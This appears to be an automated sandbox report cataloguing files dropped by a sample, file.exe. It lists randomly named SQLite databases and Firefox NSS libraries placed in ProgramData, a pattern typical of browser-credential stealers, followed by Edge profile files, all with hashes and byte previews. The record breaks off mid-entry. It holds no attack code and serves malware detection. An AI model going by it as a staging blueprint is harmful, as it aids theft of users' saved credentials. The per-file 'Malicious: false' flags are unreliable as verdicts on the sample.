SHA1:	DFE9B60A06C543B566B62340D94E399C58CF7866
SHA-256:	AD012886822A4517F42DA8338735B9CECC6DB3F314868D1BA223E1B9AB9FF446
SHA-512:	E8B3D42D38F98B297C73DFE72CDE929A08F44A1E2118D2F3A08B619198E6C10EF1087688AC76C6262BC9297B1525F41869D0A7730A1E48BBC1C05154E30187C5
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CGIDGCGIEGDGDGDGHJKKKJKECG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBGDHJECFCFCAKFHCFID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCAAAAFB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDAAKEHJDHJKEBFHJEGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDHIEBAAKJDHIECAAFHCAECAFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2461e19e-54b0-4fa4-808d-3467bf6c4063.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44690
Entropy (8bit):	6.096360655661536
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBZwuBhDO6vP6OblPVefMvwy3BEtcGoup1Xl3jVzXq:z/Ps+wsI7yOEW6jgchu3VlXr4CRo1
MD5:	346640293476FAB69F2CF8E03880EA2F
SHA1:	892B595C889991AB00B50498F59323415DDBFB06
SHA-256:	4317F0238125906CA399A36F13320A5741215AFB4973E2A515969BF74AFCD81F
SHA-512:	A0739E5AC8BECEF5A7B4864B1654B2C904ADD4B4752DEEFEA686551920256DF33AD1677F473A707933C3E9F2C2F2010F55C12D3D3FB431CB5D0DBA1D6391E52F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\65da54d9-7f86-4b4d-9dd9-dccb368361f1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46048
Entropy (8bit):	6.088965401368544
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQc5s97SLu6hDO6vP6OblPV+fMvwy3BEtIQmxgRCAo6Goup1Xl3jVz/:mMk1rT8H097f6jAIQ9Ro6hu3VlXr4M
MD5:	E5AE497736E220CE92CBA8245B891838
SHA1:	18DCB40A680D9732DE02BB5783E4894D3B974C71
SHA-256:	A796376CEE43881B94C8C4B615006550938E5D3CE6DAF80C7AC66E426ED7A7BD
SHA-512:	4476C68BA83207E8AF94CA2932EA1893C7FFB9083DFC5E2B43CB4B8FEA1BBCD0A71C0F5784632FAA331CF0502695B529136587280932AAD5952BF293575F7C8F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9c3d9301-5c69-49e1-9fef-29bb72a8a43b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46048
Entropy (8bit):	6.088967301953545
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQc5so7SLu6hDO6vP6OblPV+fMvwy3BEtIQmxgRCAo6Goup1Xl3jVz/:mMk1rT8H0o7f6jAIQ9Ro6hu3VlXr4M
MD5:	128A06EAF3515E23FEFDC7057323C622
SHA1:	D00D954DC671E49597B7764A3AD5333E9B984855
SHA-256:	64F352B2882EAF184856A1680626B5787BD33475D457EE2E862200E367EF4A12
SHA-512:	3AA5843474175021D953B6179E44A27E1F6BCFC92B99B391F162D0F2E5F9E70B785595BE16A7931EC0C919F8F4D3007CF8AA7983BE386BF9F7AF1DEEEC06C44D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\9f730c4b-b423-489c-9699-095f3ea834da.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6744B3B9-1F84.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.44978151537239075
Encrypted:	false
SSDEEP:	3072:yB/ad4OfAbAjjvAZGPlrPw3XCkbZuibpZQXNVqlVg1HFFeagS:cad04vAZMlrPYS0pZQXNVqlVaHvea3
MD5:	6513672D35020C0D691408461D76549A
SHA1:	D38428135B37CFB522A4B71E28D592B40F976632
SHA-256:	64D9E77DFBD4CAA2A5108EB9F288D3D5B771D954783E70D6044D2CA14FE389A7
SHA-512:	4E5948181C17A9FA1D9656F6A18142AD07AE894A83B05D0277EBADA9BCFA486E23DA95D59FCCB56413ABD2EAD73E44EF36853CD4E90C78D000E1E4A5C90FAED2
Malicious:	false
Preview:	...@..@...@.....C.].....@...................................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".egiprc20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2......._...... .2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
